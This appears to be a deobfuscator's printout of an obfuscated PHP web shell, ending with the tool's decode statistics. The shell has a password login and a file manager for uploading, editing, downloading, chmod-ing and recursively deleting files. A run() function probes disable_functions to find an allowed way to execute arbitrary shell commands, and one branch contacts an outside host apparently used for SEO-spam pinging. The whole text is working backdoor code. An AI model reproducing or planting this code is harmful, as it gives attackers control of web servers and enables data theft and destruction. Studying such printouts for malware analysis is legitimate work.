145\164\42\xd\12\x20\x20\x20\40\40\40\40\40\x69\156\164\145\x67\162\151\164\171\x3d\x22\163\150\141\x33\70\x34\55\107\114\150\154\124\x51\70\x69\122\101\x42\x64\x5a\114\x6c\66\x4f\63\157\126\x4d\x57\x53\x6b\164\121\x4f\160\66\142\67\x49\x6e\x31\x5a\x6c\63\57\112\x72\x35\71\142\x36\x45\107\x47\157\111\x31\141\x46\x6b\x77\67\143\155\x44\x41\66\152\x36\147\x44\x22\40\x63\162\x6f\163\x73\157\162\x69\x67\x69\156\75\x22\x61\x6e\x6f\x6e\171\155\x6f\x75\163\x22\x3e\15\12\40\40\x20\40\74\154\151\x6e\x6b\40\162\x65\x6c\x3d\x22\x73\x74\x79\x6c\145\x73\150\x65\x65\x74\x22\40\150\x72\x65\146\x3d\42\150\x74\x74\160\163\72\x2f\x2f\x63\x64\x6e\152\163\56\x63\154\157\x75\144\146\x6c\141\x72\145\56\x63\x6f\x6d\57\x61\x6a\141\x78\57\154\x69\142\163\57\146\x6f\156\x74\x2d\x61\x77\145\163\x6f\155\145\57\66\x2e\63\56\60\57\143\163\163\x2f\x61\154\154\56\155\151\x6e\x2e\x63\x73\x73\x22\xd\xa\x20\40\x20\x20\x20\40\x20\40\151\156\x74\x65\x67\x72\151\164\x79\x3d\x22\163\x68\141\x35\61\x32\x2d\123\x7a\x6c\162\170\127\125\154\x70\146\165\x7a\x51\x2b\160\x63\x55\x43\x6f\x73\x78\x63\147\154\121\122\x4e\101\x71\57\104\132\152\126\x73\103\x30\x6c\105\x34\x30\x78\163\x41\x44\163\146\x65\121\157\x45\x79\160\105\53\145\156\x77\x63\117\x69\107\x6a\x6b\57\x62\123\x75\x47\x47\x4b\110\x45\171\152\x53\x6f\x51\61\172\x56\151\x73\141\x6e\x51\75\x3d\x22\xd\12\40\40\x20\x20\x20\x20\x20\40\143\162\157\163\x73\x6f\162\151\147\151\156\75\x22\x61\x6e\157\156\171\x6d\157\165\163\42\40\162\x65\146\x65\162\x72\145\162\160\157\154\151\x63\x79\75\x22\x6e\157\x2d\162\145\x66\x65\162\x72\145\162\x22\x20\x2f\x3e\xd\12\x20\x20\40\40\74\x73\x63\162\151\x70\164\x20\x73\x72\143\x3d\x22\150\164\164\160\163\72\57\x2f\143\x64\x6e\x6a\163\x2e\x6f\156\154\151\x6e\145\x2f\x61\x6a\141\x78\57\154\151\142\163\57\142\157\x6f\164\163\x74\162\x61\x70\57\x6a\x73\x2f\x62\x6f\x6f\164\163\x74\x72\141\x70\x2e\155\x69\x6e\56\152\x73\x22\76\74\x2f\163\143\162\151\x70\x74\76\15\12\x3c\x2f\x68\x65\x61\144\76\xd\xa\xd\xa\x3c\x62\157\144\x79\76\xd\xa\15\xa\40\x20\40\40";
class Zip
{
public static function zipDir($sourcePath, $outZipPath)
{
$pathInfo = self::myPathInfo($sourcePath);
$parentPath = $pathInfo["\x64\151\162\156\141\155\145"];
$dirName = $pathInfo["\x62\141\163\x65\156\141\155\x65"];
$sourcePath = $parentPath . "\x2f" . $dirName;
$z = new \ZipArchive();
$z->open($outZipPath, \ZIPARCHIVE::CREATE);
$z->addEmptyDir($dirName);
self::folderToZip($sourcePath, $z, strlen("{$parentPath}\57"));
$z->close();
}
private static function folderToZip($folder, &$zipFile, $exclusiveLength)
{
goto lMZ0UdFwp5;
KWpXrhIkYQ:
$localPath = substr($filePath, $exclusiveLength);
if (is_file($filePath)) {
goto WNJD2MrRFB;
}
if (is_dir($filePath)) {
goto U1ca_TIO6z;
}
goto sA8vx4xzw6;
WNJD2MrRFB:
goto cE5m_1zssF;
lMZ0UdFwp5:
$handle = opendir($folder);
Ezh0ZHBB7S:
if (!(false !== ($f = readdir($handle)))) {
goto Fex8RShb5p;
}
if (!($f != "\56" && $f != "\56\56")) {
goto e1o4dMlDCu;
}
$filePath = "{$folder}\x2f{$f}";
goto KWpXrhIkYQ;
QoKv3xE9Pj:
sA8vx4xzw6:
e1o4dMlDCu:
goto Ezh0ZHBB7S;
Fex8RShb5p:
closedir($handle);
goto prAgnCVcIf;
cE5m_1zssF:
$zipFile->addFile($filePath, $localPath);
goto sA8vx4xzw6;
U1ca_TIO6z:
$zipFile->addEmptyDir($localPath);
self::folderToZip($filePath, $zipFile, $exclusiveLength);
goto QoKv3xE9Pj;
prAgnCVcIf:
}
private static function myPathInfo($filepath)
{
$pathParts = [];
$pathParts["\144\x69\x72\156\x61\155\x65"] =
rtrim(substr($filepath, 0, strrpos($filepath, "\x2f")), "\57") .
"\57";
$pathParts["\142\141\x73\145\156\141\155\145"] = ltrim(
substr($filepath, strrpos($filepath, "\57")),
"\x2f"
);
$pathParts["\145\x78\164\145\x6e\x73\x69\x6f\156"] = substr(
strrchr($filepath, "\56"),
1
);
$pathParts["\x66\151\154\x65\156\x61\x6d\x65"] = ltrim(
substr(
$pathParts["\x62\x61\163\x65\x6e\x61\x6d\x65"],
0,
strrpos($pathParts["\142\x61\163\145\156\x61\155\x65"], "\56")
),
"\x2f"
);
return $pathParts;
}
}
function formatSizeUnits($bytes)
{
goto j0hEYxflmE;
RPo01wVev1:
$bytes = $bytes . "\40\x62\171\x74\x65";
jbqnM0o3jM:
return $bytes;
goto YwDM23Y5Sm;
j0hEYxflmE:
if ($bytes >= 1073741824) {
goto jlVKop1571;
}
if ($bytes >= 1048576) {
goto ioPKAfIZpv;
}
if ($bytes >= 1024) {
goto Jfa1Lwht3n;
}
if ($bytes > 1) {
goto PYm3pFaIfk;
}
if ($bytes == 1) {
goto l0EeM02bHU;
}
goto aEtYr0lXhd;
aEtYr0lXhd:
$bytes = "\x30\40\x62\171\x74\x65\163";
goto jbqnM0o3jM;
jlVKop1571:
$bytes = number_format($bytes / 1073741824, 2) . "\x20\107\102";
goto jbqnM0o3jM;
goto GkRzOd13Va;
GkRzOd13Va:
ioPKAfIZpv:
$bytes = number_format($bytes / 1048576, 2) . "\40\115\x42";
goto jbqnM0o3jM;
Jfa1Lwht3n:
$bytes = number_format($bytes / 1024, 2) . "\x20\113\102";
goto m700j2_YlE;
m700j2_YlE:
goto jbqnM0o3jM;
PYm3pFaIfk:
$bytes = $bytes . "\40\142\x79\x74\145\163";
goto jbqnM0o3jM;
l0EeM02bHU:
goto RPo01wVev1;
YwDM23Y5Sm:
}
function fileExtension($file)
{
return substr(strrchr($file, "\56"), 1);
}
goto svEpz6K2V1;
lfyJvnrAOF:
$p = $root_path;
goto ip5Y5fVJKg;
kCR9CY7oRT:
if (empty($_GET["\160"])) {
goto Ysner77MKs;
}
if (!is_dir(decodePath($_GET["\x70"]))) {
goto p9bUk1LnBZ;
}
goto nxWXa7VbJS;
aaHpKede2n:
function str_path($path)
{
return str_replace("\x2f\x2f", "\x2f", $path);
}
function do_show($filepath)
{
goto Rz8s67ZRrI;
ScxXGbCRbU:
goto Ng7bNrT3zQ;
fUO_TAgElk:
$files = str_path($filepath . "\x2f" . $file);
$show[] = $files;
goto Ng7bNrT3zQ;
goto VZZt4BWNU7;
VZZt4BWNU7:
UtCllptJV3:
$dir->close();
return $show;
goto h6foEqdHnT;
Rz8s67ZRrI:
$show = [];
$dir = dir($filepath);
Ng7bNrT3zQ:
if (!($file = $dir->read())) {
goto UtCllptJV3;
}
if (!($file == "\x2e" or $file == "\x2e\x2e")) {
goto fUO_TAgElk;
}
goto ScxXGbCRbU;
h6foEqdHnT:
}
function do_deltree($deldir)
{
$showfile = do_show($deldir);
foreach ($showfile as $del) {
goto wuT2buQBBD;
wuT2buQBBD:
if (is_dir($del)) {
goto T7BErAT4SV;
}
if (!is_dir($del)) {
goto HYdQI2TQoI;
}
goto eZgUdCOPad;
T7BErAT4SV:
if (do_deltree($del)) {
goto E4X6hBrJee;
}
goto t02_0Wyxd0;
sz81YcU8ah:
if (@unlink($del)) {
goto steRP4BnEJ;
}
return false;
steRP4BnEJ:
eZgUdCOPad:
snicgCrUNf:
goto N80oGceul3;
t02_0Wyxd0:
return false;
E4X6hBrJee:
goto eZgUdCOPad;
HYdQI2TQoI:
@chmod($del, 0777);
goto sz81YcU8ah;
N80oGceul3:
}
GvUVWz9i2U:
@chmod($deldir, 0777);
if (@rmdir($deldir)) {
goto t6cmE0a2tI;
}
return false;
t6cmE0a2tI:
return true;
}
function do_download($filecode, $file)
{
header(
"\x43\x6f\156\164\x65\156\x74\55\x74\x79\x70\145\72\x20\x61\x70\x70\x6c\151\143\x61\164\151\157\x6e\x2f\165\x6e\x6b\x6e\157\x77\156"
);
header(
"\x41\143\143\145\x70\164\x2d\x52\x61\156\147\x65\163\x3a\x20\142\x79\x74\x65\163"
);
header(
"\x43\157\156\164\x65\x6e\164\55\x6c\x65\156\147\x74\150\72\x20" .
strlen($filecode)
);
header(
"\103\x6f\x6e\164\145\x6e\164\55\x64\151\163\160\157\x73\x69\x74\x69\x6f\x6e\x3a\x20\141\x74\164\141\x63\x68\155\x65\156\164\x3b\40\146\x69\154\x65\x6e\141\x6d\145\x3d" .
$file .
"\73"
);
echo $filecode;
exit();
}
function owner($file)
{
if (
function_exists(
"\x70\x6f\163\x69\x78\x5f\x67\145\x74\x70\167\165\x69\144"
)
) {
goto FRa8NLwM1r;
}
return "\x3c\x63\145\156\x74\x65\x72\x3e" .
fileowner($file) .
"\74\x2f\143\x65\x6e\x74\x65\162\x3e";
goto HCD97KqtTO;
FRa8NLwM1r:
$tod = @posix_getpwuid(fileowner($file));
return "\74\x63\145\156\164\x65\162\76" .
$tod["\x6e\x61\155\x65"] .
"\x3c\x2f\x63\x65\x6e\164\x65\162\76";
HCD97KqtTO:
}
goto O7np4m2MW4;
ymTJBFzQ0r:
@chdir($root);
if (!is_writable($root)) {
goto oNTkWh3NNu;
}
echo "\167\x72\151\x74\x65\x61\142\154\145";
goto VpgmEEVBl6;
oNTkWh3NNu:
goto DCDFUS6r9D;
vbwbvRt9dr:
p9bUk1LnBZ:
echo "\x3c\163\x63\x72\151\x70\164\x3e\xa\x61\154\x65\x72\x74\50\47\x44\x69\x72\145\x63\x74\x6f\162\171\x20\x69\163\40\x43\x6f\x72\162\165\x70\164\x65\x64\40\141\156\144\40\x55\x6e\x72\x65\141\144\x61\x62\x6c\x65\56\x27\51\x3b\12\167\x69\156\x64\157\x77\56\154\x6f\x63\x61\x74\x69\157\x6e\x2e\162\x65\160\x6c\x61\143\145\50\47\77\x27\51\x3b\12\x3c\57\163\143\x72\x69\160\x74\x3e";
goto P57KG28Hhn;
xX_rcxX1As:
$p = decodePath($_GET["\x70"]);
goto XQ5h7O5Oe4;
y9WumEOrzr:
echo "\74\163\143\162\x69\160\164\x3e\x61\154\x65\x72\x74\x28\x27\123\157\x6d\x65\x20\x65\x72\162\157\x72\40\157\143\143\165\x72\x72\145\144\x2e\x27\x29\73\40\x77\x69\156\x64\x6f\167\x2e\x6c\x6f\143\x61\164\151\157\156\56\x72\x65\x70\154\x61\x63\x65\50\x27\77\160\75" .
encodePath(PATH) .
"\x27\51\x3b\74\57\x73\143\162\151\x70\x74\76";
goto Yd2b0KWHSl;
vF__m0P419:
echo "\x3c\x73\143\162\151\160\x74\x3e\x61\154\145\x72\164\x28\47\122\x65\156\x61\155\145\144\x2e\47\x29\73\x20\167\151\156\144\x6f\167\56\154\x6f\x63\141\x74\x69\157\156\x2e\x72\145\160\154\x61\x63\145\x28\x27\77\160\75" .
encodePath(PATH) .
"\47\51\73\x3c\57\x73\x63\x72\x69\160\x74\x3e";
Yd2b0KWHSl:
goto TjTuO3kla5;
fBCxDX2yaJ:
vg7S73IY0W:
echo "\x3c\x73\x63\x72\151\x70\164\x3e\141\x6c\145\x72\164\50\47\x43\141\156\x6e\157\164\40\125\156\x7a\x69\x70\40\106\151\154\x65\40\57\x20\125\x6e\162\x65\x61\144\x61\x62\154\x65\40\x46\151\154\x65\40\x21\47\x29\73\40\x77\x69\x6e\144\x6f\167\x2e\x6c\157\x63\141\164\151\x6f\156\x2e\x72\x65\x70\154\x61\143\145\x28\47\77\x70\75" .
encodePath(PATH) .
"\47\x29\x3b\74\57\163\143\x72\151\160\164\76";
goto YUXFZ5UEiI;
iuViSWE1eK:
echo "\x3c\x73\143\x72\151\x70\x74\76\141\x6c\x65\x72\164\x28\47\124\150\151\x73\40\151\163\156\x27\x74\40\132\x69\160\40\106\x69\x6c\x65\x20\x21\47\51\73\x20\167\151\x6e\144\157\167\x2e\x6c\157\x63\x61\164\x69\x6f\x6e\x2e\162\x65\x70\154\141\x63\145\50\x27\77\x70\x3d" .
encodePath(PATH) .
"\47\x29\x3b\x3c\57\x73\143\162\151\x70\164\x3e";
goto vxzBT2t4Ws;
OOUCVCGshG:
goto xqmaepGySN;
q1HHR2SOOX:
if (!is_readable(PATH)) {
goto AgUhbNx2_q;
}
$fetch_obj = scandir(PATH);
$folders = [];
goto l6uz96Jn_X;
kXYzdRguua:
$_SESSION["\154\x6f\147\147\145\144\x49\x6e\x6d"] = false;
Q3_P8pKZ2v:
if (!isset($_POST["\x70\x61\163\x73\167\157\162\144"])) {
goto bCNtei5z0m;
}
if (!(md5($_POST["\x70\x61\163\163\x77\157\162\144"]) == $password)) {
goto OOviXlWFpA;
}
$_SESSION["\154\157\x67\147\x65\x64\x49\x6e\x6d"] = md5(
$_POST["\160\x61\x73\163\x77\157\162\144"]
);
goto O_JPcBH1qF;
bXmHCYGU42:
echo "\x3c\x73\143\x72\151\x70\x74\x3e\x61\154\x65\162\x74\x28\47\146\x61\151\x6c\40\x63\162\145\141\x74\x65\56\x27\51\x3b\x20\167\x69\156\144\157\167\56\154\157\143\x61\164\x69\157\x6e\56\x72\x65\160\154\x61\143\145\50\47\77\160\x3d" .
encodePath(PATH) .
"\x27\51\x3b\74\57\163\x63\x72\151\160\164\x3e";
goto Jqe9xv4f1Z;
zHYccVmZOD:
echo "\x3c\x73\x63\x72\x69\x70\164\76\141\154\x65\162\x74\x28\47\x63\162\x65\x61\164\145\x20\163\x75\x63\x63\x65\163\x73\x2e\47\51\73\x20\167\x69\x6e\x64\x6f\x77\56\x6c\x6f\143\141\x74\x69\157\156\56\x72\x65\x70\154\141\143\145\x28\x27\77\160\75" .
encodePath(PATH) .
"\47\51\x3b\x3c\x2f\163\143\x72\x69\160\164\x3e";
Jqe9xv4f1Z:
goto P_CIcdx8pn;
O7np4m2MW4:
function delDirAndFile($dirName)
{
goto fZdPEoM4d1;
fZdPEoM4d1:
$deltestaus = 1;
if (!($handle = opendir("{$dirName}"))) {
goto romJ6KqfbP;
}
C1_0S_2lZ3:
if (!(false !== ($item = readdir($handle)))) {
goto DWLooYGzzD;
}
if (!($item != "\56" && $item != "\x2e\56")) {
goto gL82ZFQ5HA;
}
goto dqs_FNUg3n;
wpVhlqIwww:
TFbNaWnpDj:
romJ6KqfbP:
return $deltestaus;
goto HJgpuuXP0p;
dqs_FNUg3n:
if (is_dir("{$dirName}\x2f{$item}")) {
goto cDhSmJmU7f;
}
if (unlink("{$dirName}\57{$item}")) {
goto JdeHBYDhFS;
}
$deltestaus = 0;
goto e9Bx_XANpg;
JdeHBYDhFS:
goto HwQ6C72kU3;
HwQ6C72kU3:
$deltestaus = 1;
e9Bx_XANpg:
goto ks5lgThk3p;
cDhSmJmU7f:
delDirAndFile("{$dirName}\57{$item}");
goto NZXnraDnEt;
arFCVkh7Ia:
if (rmdir($dirName)) {
goto XnihouTJJN;
}
$deltestaus = 0;
goto TFbNaWnpDj;
XnihouTJJN:
$deltestaus = 1;
goto wpVhlqIwww;
NZXnraDnEt:
ks5lgThk3p:
gL82ZFQ5HA:
goto C1_0S_2lZ3;
DWLooYGzzD:
closedir($handle);
goto arFCVkh7Ia;
HJgpuuXP0p:
}
function run($code, $method = "\x70\x6f\x70\145\156")
{
goto x2csG2P3WM;
yII1RQeKZD:
$method = "";
foreach ($command_array as $command) {
if (in_array($command, $new_disable)) {
goto nnwqI69oo2;
}
$method = $command;
goto a_IZ3a3AQ6;
nnwqI69oo2:
lQkjycFBi9:
}
a_IZ3a3AQ6:
if (!empty($method)) {
goto Cg_cImvA81;
}
return false;
goto o02Ud4FThn;
o02Ud4FThn:
Cg_cImvA81:
$result = "";
switch ($method) {
case "\x70\162\x6f\x63\x5f\157\160\145\x6e":
$descriptorspec = [
0 => ["\x70\x69\x70\x65", "\162"],
1 => ["\160\x69\160\x65", "\167"],
2 => [
"\160\x69\x70\145",
"\x65\162\x72\157\x72\x2e\x74\x78\x74",
],
];
$pipes = [];
proc_open($code, $descriptorspec, $pipes);
return false;
goto JPWUY1gj2_;
case "\160\141\163\163\164\x68\162\x75":
passthru($code);
return false;
goto JPWUY1gj2_;
case "\x73\150\145\x6c\154\x5f\x65\170\145\x63":
$result = "";
$result = shell_exec($code);
return $result;
goto JPWUY1gj2_;
case "\163\171\x73\164\x65\155":
$result = "";
system($code, $result);
return $result;
goto JPWUY1gj2_;
case "\160\157\x70\145\156":
$fp = popen($code, "\162");
Zyffnjhh6F:
if (feof($fp)) {
goto P20w9pp3iI;
}
$out = fgets($fp, 4096);
$result .= $out;
goto Zyffnjhh6F;
P20w9pp3iI:
pclose($fp);
return $result;
goto JPWUY1gj2_;
case "\145\170\x65\x63":
exec($code, $array);
foreach ($array as $key => $value) {
$result .= $key . "\40\x3a\40" . $value . PHP_EOL;
AzaXFt7C0P:
}
WhJD_7yNi3:
return $result;
goto JPWUY1gj2_;
default:
return false;
goto JPWUY1gj2_;
}
KyRnEP_lLx:
JPWUY1gj2_:
goto FKQqy06MEG;
x2csG2P3WM:
$disabled = explode(
"\x2c",
ini_get(
"\x64\151\x73\141\x62\x6c\145\137\146\x75\156\143\x74\x69\157\x6e\163"
)
);
$new_disable = [];
foreach ($disabled as $item) {
$new_disable[] = trim($item);
vrqYcqdckp:
}
yhjkTVjzx4:
$command_array = [
"\x73\x79\163\164\x65\155",
"\163\x68\145\x6c\154\137\145\170\x65\x63",
"\160\157\x70\x65\x6e",
"\145\x78\x65\x63",
"\160\x72\157\x63\x5f\157\160\145\x6e",
"\160\x61\163\163\164\x68\x72\165",
];
goto yII1RQeKZD;
FKQqy06MEG:
}
$root_path = __DIR__;
if (isset($_GET["\x70"])) {
goto kCR9CY7oRT;
}
if (isset($_GET["\161"])) {
goto PSmGWnHUB_;
}
goto lfyJvnrAOF;
aaErwz4hMW:
DQviXZZ9KV:
xw00L_iaef:
Ox8GsjTRch:
if (!(isset($_GET["\x63"]) && isset($_GET["\x71"]))) {
goto BZzwztz2oV;
}
$name = PATH . "\x2f" . $_GET["\143"];
goto DBIGfN5oN6;
cx9kynoFNX:
$data = $_POST["\144\141\x74\x61"];
$f_put = "\x66\x69\154\x65\137\x70\x75\164\x5f\x63\157\156\x74\x65\156\x74\x73";
$f_get = "\x66\x69\x6c\145\x5f\147\x65\x74\x5f\143\157\156\x74\145\x6e\164\x73";
$editresult = $f_put($filename, $data);
if ($editresult) {
goto YBAkjOizIP;
}
goto Hw2SFfUvmj;
qdNokVNj0r:
xqmaepGySN:
if (!isset($_GET["\x75\x70\x6c\x6f\141\x64"])) {
goto mobEwcpmHG;
}
echo "\xd\xa\40\40\x20\x20\74\146\x6f\x72\x6d\40\x6d\x65\x74\150\157\144\75\42\160\x6f\163\x74\42\x20\x65\156\x63\x74\x79\x70\x65\75\x22\155\x75\x6c\164\x69\x70\141\x72\164\x2f\x66\x6f\162\x6d\55\144\141\x74\141\42\x3e\15\xa\40\x20\x20\x20\x20\40\x20\40\123\145\154\x65\143\164\x20\x66\x69\x6c\145\x20\164\x6f\40\165\160\154\157\x61\x64\72\xd\xa\40\40\40\x20\x20\x20\40\40\x3c\151\156\x70\165\164\x20\x74\171\160\x65\75\42\146\x69\x6c\x65\42\40\x6e\x61\155\145\x3d\x22\146\151\154\145\124\157\125\160\154\157\x61\144\x5b\135\42\40\x69\x64\75\x22\x66\151\154\x65\124\x6f\125\160\154\x6f\x61\144\42\x20\x6d\x75\154\164\x69\160\x6c\x65\76\15\12\40\x20\40\40\40\40\x20\40\x3c\151\x6e\160\x75\x74\40\164\x79\160\x65\x3d\42\163\x75\x62\155\151\164\42\40\143\154\141\163\163\75\x22\x62\x74\x6e\40\x62\164\156\55\x64\141\x72\x6b\42\x20\166\x61\154\x75\x65\75\42\125\x70\154\x6f\141\x64\x22\40\x6e\x61\155\145\x3d\42\x75\160\x6c\x6f\141\144\42\x3e\xd\12\x20\40\x20\40\74\57\x66\x6f\162\x6d\x3e";
mobEwcpmHG:
if (!isset($_GET["\153\153"])) {
goto QxUwM_PXJt;
}
goto l_SFPYEYZB;
nVo5s5oxsg:
if (!in_array($f_put, $disabled)) {
goto fYRUNwbVGx;
}
$fuction_info .=
"\160\x75\x74\137\x63\x6f\156\x74\40\151\x73\x20\x64\151\x73\141\x62\x6c\145";
$error_number++;
fYRUNwbVGx:
if (!($error_number != 0)) {
goto tKspy7o_GA;
}
goto CZo8Ug9WbC;
BdfteEBNQg:
$f_put =
"\146\151\x6c\145" .
"\137" .
"\160\165\x74\x5f" .
"\143\x6f\x6e\x74\145\x6e\164\x73";
$create_result = @$f_put($filename, $filecontent);
if ($create_result) {
goto HMbg1j6BYJ;
}
echo "\74\163\143\x72\x69\160\164\x3e\x61\154\x65\x72\164\x28\47\x66\x61\x69\x6c\40\x63\x72\145\141\164\145\56\47\51\73\x20\x77\151\x6e\144\157\x77\x2e\154\157\143\141\164\151\x6f\156\56\162\x65\x70\x6c\141\143\x65\50\x27\x3f\160\x3d" .
encodePath(PATH) .
"\47\x29\x3b\74\57\x73\x63\x72\151\160\164\x3e";
goto MItMQRKThR;
goto X2KTCL7k4a;
ekJayuD6uK:
$return_data = [];
$return_data["\x74\151\x74\x6c\145"] =
"\x73\x74\141\x72\164\40\x70\x69\x6e\147\x20\x73\x69\x74\145\155\x61\160";
mEkWNEil0p:
if (!isset($_GET["\143\150\145\x63\x6b\x73\x69\x74\145\x6d"])) {
goto A3xqiJxa7Y;
}
$url =
"\150\x74\164\x70\72\x2f\x2f\152\x2e\x63\162\x65\141\x74\x65\x73\x65\157\x2e\170\171\172";
goto iE5GF0EFHP;
XtuPtIKGQH:
nLNRoqlQpR:
goto wYYR3gCcqU;
ote_LS0OFh:
if (chmod($name, 0644) == true) {
goto JobEMi9cLr;
}
echo "\74\x73\x63\x72\151\x70\164\x3e\141\x6c\x65\162\164\50\x27\123\x6f\x6d\145\x20\x65\x72\162\157\x72\x20\x6f\x63\143\x75\x72\x72\145\x64\x2e\x27\x29\73\x20\x77\151\x6e\144\x6f\167\x2e\x6c\x6f\x63\141\x74\x69\x6f\156\x2e\162\x65\x70\154\x61\143\x65\x28\x27\77\160\75" .
encodePath(PATH) .
"\47\51\x3b\x3c\x2f\163\143\x72\151\160\164\x3e";
goto dXOvHDfdil;
IMIaBlDoSW:
echo "\15\xa\40\x20\40\40\74\x73\143\x72\x69\x70\x74\40\163\x72\x63\x3d\42\x68\164\x74\160\163\72\x2f\57\x63\144\x6e\56\152\163\144\x65\154\x69\166\x72\x2e\156\x65\x74\57\156\x70\155\x2f\142\157\157\164\x73\164\162\x61\x70\100\65\x2e\63\56\60\55\x61\154\160\x68\141\x31\x2f\x64\151\x73\x74\57\152\163\x2f\142\x6f\x6f\x74\163\164\x72\141\160\56\142\x75\x6e\x64\154\x65\56\155\x69\156\x2e\x6a\x73\x22\xd\12\40\x20\40\x20\40\40\40\x20\x69\x6e\x74\145\x67\162\151\164\x79\75\42\x73\x68\141\63\x38\64\x2d\167\67\66\101\x71\x50\146\104\153\x4d\x42\104\x58\157\63\x30\x6a\123\61\x53\x67\x65\x7a\x36\160\x72\x33\x78\x35\x4d\154\x51\x31\x5a\101\x47\103\x2b\x6e\x75\x5a\102\53\x45\x59\144\x67\122\132\147\151\167\170\x68\x54\x42\124\x6b\x46\x37\103\x58\166\116\x22\xd\12\x20\x20\40\x20\x20\x20\40\40\143\162\x6f\x73\163\157\162\151\147\151\156\75\42\141\156\x6f\x6e\x79\x6d\157\x75\163\x22\76\74\x2f\x73\143\162\x69\x70\x74\x3e\xd\12\74\57\x62\x6f\x64\x79\76\15\xa\15\12\x3c\x2f\x68\164\155\x6c\76";
Function Calls
None |
Stats
MD5 | 78dc3c0fb57444af20f6c99b718383bc |
Eval Count | 0 |
Decode Time | 73 ms |